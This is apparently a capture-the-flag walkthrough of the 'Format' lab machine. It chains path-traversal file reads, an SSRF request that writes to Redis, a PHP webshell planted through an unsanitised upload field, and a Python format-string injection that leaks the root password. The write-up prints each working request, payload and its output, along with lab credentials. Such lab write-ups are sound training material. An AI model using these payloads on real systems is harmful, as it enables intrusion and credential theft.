The Format Machine required us to enumerate the target system, identifying an active HTTP service and a running Gitea service. Upon gaining access to Gitea’s source code, we uncovered an LFI vulnerability within the HTTP service.
Further investigation revealed an SSRF vulnerability in the HTTP service’s interaction with Redis. Leveraging this SSRF vulnerability, we escalated our privileges to Pro status, exploiting an arbitrary write vulnerability to establish a webshell.
As the www-data user, we accessed Redis and found valuable credentials for ‘cooper.’ By enumerating ‘cooper’s’ sudo commands, we uncovered a Python script vulnerable to format string attacks. Exploiting this flaw, we retrieved the root password, securing root-level access to the target system.
Recon
The HTTP service has as its domain app.microblog.htb
, by changing the /etc/hosts
file, we will be able to reach it.
nmap (TCP all ports)
nmap
finds three open TCP ports, SSH (22), HTTP Service (80) and a ppp service (3000)):
$ nmap -sT -p- app.microblog.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-15 11:11 WEST
Nmap scan report for app.microblog.htb (10.129.35.203)
Host is up (0.053s latency).
rDNS record for 10.129.35.203: microblog.htb
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 19.76 seconds
$
nmap (found TCP ports exploration)
$ nmap -sC -sV -p 22,80,3000 app.microblog.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-15 11:14 WEST
Nmap scan report for app.microblog.htb (10.129.35.203)
Host is up (0.047s latency).
rDNS record for 10.129.35.203: microblog.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Microblog
3000/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.62 seconds
$
HTTP - TCP 80
Technologies used:
By checking the webpage presented to us with Wappalyzer, we can get to know what technologies are being used:
Landing page
By going to the root directory we are presented with the following landing page:
The service seems to enable users to create a subdomain of their choosing:
And edit the presented blog with a pre made template:
Gitea - TCP 3000
On the port 3000 discovered previously, we find a Gitea instance running.
Local File Inclusion
With the Gitea service we can discover the Microblog service source code. By taking a look at it we can find that there is already a sunny
subdomain created by default.
Within it’s source code following snippet where our value id
is used withou santization to retrieve the blog content with fopen
, this shows an LFI present within the blog:
//add header
if (isset($_POST['header']) && isset($_POST['id'])) {
chdir(getcwd() . "/../content");
$html = "<div class = \"blog-h1 blue-fill\"><b>{$_POST['header']}</b></div>";
$post_file = fopen("{$_POST['id']}", "w");
fwrite($post_file, $html);
fclose($post_file);
$order_file = fopen("order.txt", "a");
fwrite($order_file, $_POST['id'] . "\n");
fclose($order_file);
header("Location: /edit?message=Section added!&status=success");
}
<SNIP>
function fetchPage() {
chdir(getcwd() . "/../content");
$order = file("order.txt", FILE_IGNORE_NEW_LINES);
$html_content = "";
foreach($order as $line) {
$temp = $html_content;
$html_content = $temp . "<div class = \"{$line} blog-indiv-content\">" . file_get_contents($line) . "</div>";
}
return $html_content;
}
To test this theory we can craft a custom POST
request where we provide an id
value with a reference to the /etc/passwd
file:
POST /edit/index.php HTTP/1.1
Host: test.microblog.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Origin: http://test.microblog.htb
DNT: 1
Connection: close
Referer: http://test.microblog.htb/edit/
Cookie: username=et391vk402bgnkq4fkiavus6us
Upgrade-Insecure-Requests: 1
id=../../../../../../../etc/passwd&header=a
By checking the response we can see that it’s indeed vulnerable to LFI:
<!DOCTYPE html>
<head>
<SNIP>
root:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:101:102:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:102:103:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-timesync:x:999:999:systemd Time Synchronization:\/:\/usr\/sbin\/nologin\nsystemd-coredump:x:998:998:systemd Core Dumper:\/:\/usr\/sbin\/nologin\ncooper:x:1000:1000::\/home\/cooper:\/bin\/bash\nredis:x:103:33::\/var\/lib\/redis:\/usr\/sbin\/nologin\ngit:x:104:111:Git Version Control,,,:\/home\/git:\/bin\/bash\nmessagebus:x:105:112::\/nonexistent:\/usr\/sbin\/nologin\nsshd:x:106:65534::\/run\/sshd:\/usr\/sbin\/nologin\n_laurel:x:997:997::\/var\/log\/laurel:\/bin\/false\n<\/div>".replace(/(\r\n|\n|\r)/gm, "");
<SNIP>
</html>
Shell as www-data
SSRF
By diving deeper into the source code we find that there is a isPro
role that enables extra features to their users. While searching within the source code to where this value is stored can encounter the presence of the usage of Redis. This tells us that a Redis service is being run. One way to interact with it is by taking advantage of an SSRF to manipulate the Redis database as seen in this blogpost.
Luckily for us, Redis commands accepting a variable amount of arguments do exist. MSET takes a variable amount of keys and values:
MSET key1 "Hello" key2 "World"
GET key1
“Hello”
GET key2
“World”
In other words, we can use a request such as this to write any key:
MSET /static/unix:%2ftmp%2fmysocket:hacked%20%22true%22%20/app-1555347823-min.js HTTP/1.1
Host: example.com
Resulting in the following data on the socket (to redis):
MSET hacked "true" -example.s3.amazonaws.com/app-1555347823-min.js
HTTP/1.0
Host: localhost
Connection: close
Get isPro
To take advantage of this to enable isPro
in our account we can make the following request:
curl -X "HSET" http://microblog.htb/static/unix:%2fvar%2frun%2fredis%2fredis.sock:hacker%20pro%20true%20a/b
Arbitrary write
Now that we have a pro account we can have extra features, these ones being the ability to upload images to the blog:
The source code responsible for this is the following code present on the /src/branch/main/microblog/sunny/edit/index.php
file:
function provisionProUser() {
if(isPro() === "true") {
$blogName = trim(urldecode(getBlogName()));
system("chmod +w /var/www/microblog/" . $blogName);
system("chmod +w /var/www/microblog/" . $blogName . "/edit");
system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
}
return;
}
This code seems to be passing without sanitization user input and running it with the system()
function. The code, in simple terms, creates an /uploads
directory and makes this directory writeable.
One way to abuse this feature and the LFI previously found is by writing a .php
file with the id
parameter and then use the header
parameter to write a webshell to the newly created file. This can be done as following:
POST /edit/index.php HTTP/1.1
Host: hacker.microblog.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Origin: http://hacker.microblog.htb
DNT: 1
Connection: close
Referer: http://hacker.microblog.htb/edit/
Cookie: username=et391vk402bgnkq4fkiavus6us
Upgrade-Insecure-Requests: 1
id=/var/www/microblog/hacker/uploads/shell.php&header=<?php echo exec($_GET['cmd']);?>
http://hacker.microblog.htb/uploads/lol.php
Now if we try to run a command with the newly created webshell we can see that we have a shell as the www-data
user:
$ curl http://hacker.microblog.htb/uploads/shell.php?cmd=id
<div class = "blog-h1 blue-fill"><b>uid=33(www-data) gid=33(www-data) groups=33(www-data)http://hacker.microblog.htb/uploads/lol.php</b></div>
$
Shell as cooper
Saved credentials
One way to interact with the Redis service running on the machine is with the redis-cli
client. With this client we can query the keys present within the table:
www-data@format ~$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock>
redis /var/run/redis/redis.sock> echo "keys *" | redis-cli -s /var/run/redis/redis.sock
(error) ERR wrong number of arguments for 'echo' command
redis /var/run/redis/redis.sock> keys *
1) "PHPREDIS_SESSION:20hi483jceq8g0t8523r8585pj"
2) "hacker:sites"
3) "PHPREDIS_SESSION:aotk6stg7aoh6lsdccsq2qhai6"
4) "cooper.dooper:sites"
5) "wml"
6) "hacker"
7) "nghiale"
8) "PHPREDIS_SESSION:d8o1k85mud6l8l0i0hrkadj77c"
9) "cooper.dooper"
10) "PHPREDIS_SESSION:00111mmhsdjjlnq7stv5g3sooh"
11) "nghiale:sites"
<SNIP>
After retrieving the keys we can see an interesting one, the interesting key is the key cooper.dooper
. We can also try to retrieve the values for it:
<SNIP>
redis /var/run/redis/redis.sock> hgetall cooper.dooper
1) "username"
2) "cooper.dooper"
3) "password"
4) "zooperdoopercooper"
5) "first-name"
6) "Cooper"
7) "last-name"
8) "Dooper"
9) "pro"
10) "false"
redis /var/run/redis/redis.sock>
Credentials found
With this we can retrieve the cooper
user credentials:
cooper:zooperdoopercooper
By using them to ssh onto the machine we get a shell as the user cooper:
$ ssh cooper@microblog.htb
The authenticity of host 'microblog.htb (10.129.202.44)' can't be established.
ED25519 key fingerprint is SHA256:30cTQN6W3DKQMMwb5RGQA6Ie1hnKQ37/bSbe+vpYE98.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'microblog.htb' (ED25519) to the list of known hosts.
cooper@microblog.htb's password:
Linux format 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
cooper@format:~$
Shell as root
By checking the sudo
privileges that the user cooper
has we can see that he has the right to execute the command /usr/bin/license
as root:
cooper@format:~$ sudo -l
[sudo] password for cooper:
Matching Defaults entries for cooper on format:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cooper may run the following commands on format:
(root) /usr/bin/license
cooper@format:~$
By checking the command we can see that it is in fact a python script to interact with the Redis service:
cooper@format:~$ cat /usr/bin/license
#!/usr/bin/python3
<SNIP>
r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')
secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))
f = Fernet(encryption_key)
l = License()
<SNIP>
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
print("")
print("Plaintext license key:")
print("------------------------------------------------------")
print(license_key)
print("")
license_key_encoded = license_key.encode()
license_key_encrypted = f.encrypt(license_key_encoded)
print("Encrypted license key (distribute to customer):")
print("------------------------------------------------------")
print(license_key_encrypted.decode())
print("")
with open("/root/license/keys", "a") as license_keys_file:
license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")
<SNIP>
cooper@format:~$
The username used to create a license key for a user, within the script, is taken from the Redis service.This parameter is used with {license.license}
. This uses the format()
function of python and is vulnerable to some attacks.
Within the script we can see that the script uses a secret password to interact with the Redis service:
r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')
secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))
f = Fernet(encryption_key)
l = License()
Now with all of this in mind we can try to take advantage of the unsanitized username parameter that we control to leak the secret password used by the script.
To do this we first need to change the username in Redis
as follows:
cooper@format:~$ redis-cli -s /var/run/redis/redis.sock
hset hacker username {license.__init__.__globals__}
redis /var/run/redis/redis.sock> hset hacker username {license.__init__.__globals__}
(integer) 0
redis /var/run/redis/redis.sock> exit
-bash: hset: command not found
cooper@format:~$
After this we can run the license
script to leak the global context of it:
cooper@format:~$ sudo /usr/bin/license -p hacker
Plaintext license key:
------------------------------------------------------
microblog{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f1d26f33fa0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/usr/bin/license', '__cached__': None, 'base64': <module 'base64' from
<SNIP>
Redis<ConnectionPool<UnixDomainSocketConnection<path=/var/run/redis/redis.sock,db=0>>>, '__warningregistry__': {'version': 0}, 'secret': 'unCR4ckaBL3Pa$$w0rd', 'secret_encoded':
<SNIP>
[*Y>Va)o.3Xb)_hackerhacker
Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABkcMiHrs8FbDoDA-kZXgDJvJS0pfr54nkCtPDUrtvoW8ne5OhR4Hla3Petv8YMMQKuGOl6MD5-l2IRWcWd8_mS7OzN_FW6w-6N6WuIvt6O3AxDdvtwHsM_CLhPszyZQqB7zBnp-ORoZMU_M1imkb6mVy9x-btDDBHqbGnT2DjfJ_nF_yfPe4mY8v6KK3DLZpiE6XUZJuOSDp4SA4RJNzK8RlFClXv0LwmU5n9BPEqPuiw39PsdI9UTTen4FOo7mvpXbDnvCqiD8bVDIFxrrL7g0DS1wVHOW2X4s9aQo9EkGslt0dxkJ-ImNcycJApjS38tfbjg4-_BOurLukMorHMqPOuJpPjqbbqzHuaHFvidRQMWYAGaURSfQD976l6ZA3FanSqMJom6si_MhNZ5XfYyPFV4Ps0g1yjRaI57-s0vybVzfN-Eb1bFXVC4GYD96_iSBc8Q370rASDzvONNhN-0Sex_sGSpQpLy7R5tBlCVXOZ-M8SuL6jFlaksKem_XBqK7XhZWhR14-<SNIP>
FlPc7Bed6SGoFGH9xOGMFBbQbxpoYpLdXGuyRT8uuY9SkdboLy8Eb1tEsWUHG3ynFuP5PBXaM47z1assDX-mr2560HSwyH-0z1j5xJYkXX-N35IUaBQni02Fzn_vEDWxvshvXg=
cooper@format:~$
Credentials found
root:unCR4ckaBL3Pa$$w0rd
Now what remains is to try to SSH as the root user:
cooper@format:~$ su root
Password:
root@format:/home/cooper# id
uid=0(root) gid=0(root) groups=0(root)
root@format:/home/cooper#